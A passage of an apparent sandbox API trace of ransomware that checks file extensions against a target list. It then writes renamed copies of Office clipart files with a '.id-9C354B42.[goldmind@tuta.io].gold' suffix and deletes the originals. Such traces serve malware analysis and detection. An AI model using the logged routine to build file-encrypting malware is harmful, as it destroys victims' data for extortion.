lstrlenW (lpString=".doc") returned 4 [0102.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.165] lstrlenW (lpString=".docx") returned 5 [0102.165] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0102.165] lstrlenW (lpString=".pdf") returned 4 [0102.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.165] lstrlenW (lpString=".xls") returned 4 [0102.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.165] lstrlenW (lpString=".xlsx") returned 5 [0102.165] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0102.165] lstrlenW (lpString=".ppt") returned 4 [0102.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0102.165] lstrlenW (lpString=".zip") returned 4 [0102.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.165] lstrlenW (lpString=".rar") returned 4 [0102.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.165] lstrlenW (lpString=".bz2") returned 4 [0102.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.165] lstrlenW (lpString=".7z") returned 3 [0102.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0102.165] lstrlenW (lpString=".dbf") returned 4 [0102.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0102.165] lstrlenW (lpString=".1cd") returned 4 [0102.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0102.165] lstrlenW (lpString=".jpg") returned 4 [0102.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0102.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0102.165] lstrlenW (lpString=".doc") returned 4 [0102.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.165] lstrlenW (lpString=".docx") returned 5 [0102.165] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0102.165] lstrlenW (lpString=".pdf") returned 4 [0102.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.165] lstrlenW (lpString=".xls") returned 4 [0102.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.165] lstrlenW (lpString=".xlsx") returned 5 [0102.166] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0102.166] lstrlenW (lpString=".ppt") returned 4 [0102.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0102.166] lstrlenW (lpString=".zip") returned 4 [0102.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.166] lstrlenW (lpString=".rar") returned 4 [0102.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.166] lstrlenW (lpString=".bz2") returned 4 [0102.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.166] lstrlenW (lpString=".7z") returned 3 [0102.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0102.166] lstrlenW (lpString=".dbf") returned 4 [0102.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0102.166] lstrlenW (lpString=".1cd") returned 4 [0102.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0102.166] lstrlenW (lpString=".jpg") returned 4 [0102.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.166] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0102.166] lstrlenW (lpString="J0099180.WMF") returned 12 [0102.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.167] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3394) returned 1 [0102.167] CloseHandle (hObject=0x3b8) returned 1 [0102.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 0x20 [0102.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.167] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.167] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0102.167] GetLastError () returned 0x0 [0102.168] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xd42, lpOverlapped=0x0) returned 1 [0102.172] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xd50, lpOverlapped=0x0) returned 1 [0102.173] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.173] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.173] SetEndOfFile (hFile=0x3b4) returned 1 [0102.173] CloseHandle (hObject=0x3b4) returned 1 [0102.173] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.173] SetEndOfFile (hFile=0x3b8) returned 1 [0102.175] CloseHandle (hObject=0x3b8) returned 1 [0102.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0102.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0102.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0102.176] lstrlenW (lpString=".doc") returned 4 [0102.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.176] lstrlenW (lpString=".docx") returned 5 [0102.176] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0102.176] lstrlenW (lpString=".pdf") returned 4 [0102.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.176] lstrlenW (lpString=".xls") returned 4 [0102.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.176] lstrlenW (lpString=".xlsx") returned 5 [0102.176] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0102.176] lstrlenW (lpString=".ppt") returned 4 [0102.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0102.176] lstrlenW (lpString=".zip") returned 4 [0102.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.176] lstrlenW (lpString=".rar") returned 4 [0102.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.176] lstrlenW (lpString=".bz2") returned 4 [0102.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.176] lstrlenW (lpString=".7z") returned 3 [0102.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0102.176] lstrlenW (lpString=".dbf") returned 4 [0102.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0102.176] lstrlenW (lpString=".1cd") returned 4 [0102.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0102.177] lstrlenW (lpString=".jpg") returned 4 [0102.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0102.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0102.177] lstrlenW (lpString=".doc") returned 4 [0102.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.177] lstrlenW (lpString=".docx") returned 5 [0102.177] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0102.177] lstrlenW (lpString=".pdf") returned 4 [0102.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.177] lstrlenW (lpString=".xls") returned 4 [0102.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.177] lstrlenW (lpString=".xlsx") returned 5 [0102.177] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0102.177] lstrlenW (lpString=".ppt") returned 4 [0102.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0102.177] lstrlenW (lpString=".zip") returned 4 [0102.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.177] lstrlenW (lpString=".rar") returned 4 [0102.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.177] lstrlenW (lpString=".bz2") returned 4 [0102.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.177] lstrlenW (lpString=".7z") returned 3 [0102.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0102.177] lstrlenW (lpString=".dbf") returned 4 [0102.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0102.177] lstrlenW (lpString=".1cd") returned 4 [0102.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0102.177] lstrlenW (lpString=".jpg") returned 4 [0102.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.177] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0102.177] lstrlenW (lpString="J0099181.WMF") returned 12 [0102.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.178] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1198) returned 1 [0102.178] CloseHandle (hObject=0x3b8) returned 1 [0102.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 0x20 [0102.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.178] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.178] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0102.179] GetLastError () returned 0x0 [0102.179] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x4ae, lpOverlapped=0x0) returned 1 [0102.187] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x4b0, lpOverlapped=0x0) returned 1 [0102.188] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.188] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.188] SetEndOfFile (hFile=0x3b4) returned 1 [0102.188] CloseHandle (hObject=0x3b4) returned 1 [0102.188] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.188] SetEndOfFile (hFile=0x3b8) returned 1 [0102.238] CloseHandle (hObject=0x3b8) returned 1 [0102.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0102.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0102.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0102.239] lstrlenW (lpString=".doc") returned 4 [0102.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.239] lstrlenW (lpString=".docx") returned 5 [0102.239] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0102.239] lstrlenW (lpString=".pdf") returned 4 [0102.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.239] lstrlenW (lpString=".xls") returned 4 [0102.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.239] lstrlenW (lpString=".xlsx") returned 5 [0102.239] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0102.239] lstrlenW (lpString=".ppt") returned 4 [0102.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0102.239] lstrlenW (lpString=".zip") returned 4 [0102.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.239] lstrlenW (lpString=".rar") returned 4 [0102.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.239] lstrlenW (lpString=".bz2") returned 4 [0102.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.239] lstrlenW (lpString=".7z") returned 3 [0102.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0102.239] lstrlenW (lpString=".dbf") returned 4 [0102.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0102.239] lstrlenW (lpString=".1cd") returned 4 [0102.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0102.240] lstrlenW (lpString=".jpg") returned 4 [0102.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0102.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0102.240] lstrlenW (lpString=".doc") returned 4 [0102.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.240] lstrlenW (lpString=".docx") returned 5 [0102.240] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0102.240] lstrlenW (lpString=".pdf") returned 4 [0102.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.240] lstrlenW (lpString=".xls") returned 4 [0102.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.240] lstrlenW (lpString=".xlsx") returned 5 [0102.240] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0102.240] lstrlenW (lpString=".ppt") returned 4 [0102.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0102.240] lstrlenW (lpString=".zip") returned 4 [0102.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.240] lstrlenW (lpString=".rar") returned 4 [0102.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.240] lstrlenW (lpString=".bz2") returned 4 [0102.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.240] lstrlenW (lpString=".7z") returned 3 [0102.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0102.240] lstrlenW (lpString=".dbf") returned 4 [0102.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0102.240] lstrlenW (lpString=".1cd") returned 4 [0102.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0102.240] lstrlenW (lpString=".jpg") returned 4 [0102.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.240] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0102.240] lstrlenW (lpString="J0099182.WMF") returned 12 [0102.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.241] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3840) returned 1 [0102.241] CloseHandle (hObject=0x3b8) returned 1 [0102.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 0x20 [0102.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.241] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.241] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0102.242] GetLastError () returned 0x0 [0102.242] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xf00, lpOverlapped=0x0) returned 1 [0102.783] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xf10, lpOverlapped=0x0) returned 1 [0102.784] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.784] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.800] SetEndOfFile (hFile=0x3b4) returned 1 [0102.801] CloseHandle (hObject=0x3b4) returned 1 [0102.801] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.801] SetEndOfFile (hFile=0x3b8) returned 1 [0102.802] CloseHandle (hObject=0x3b8) returned 1 [0102.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0102.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0102.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0102.803] lstrlenW (lpString=".doc") returned 4 [0102.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.803] lstrlenW (lpString=".docx") returned 5 [0102.803] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0102.803] lstrlenW (lpString=".pdf") returned 4 [0102.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.803] lstrlenW (lpString=".xls") returned 4 [0102.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.803] lstrlenW (lpString=".xlsx") returned 5 [0102.803] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0102.804] lstrlenW (lpString=".ppt") returned 4 [0102.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0102.804] lstrlenW 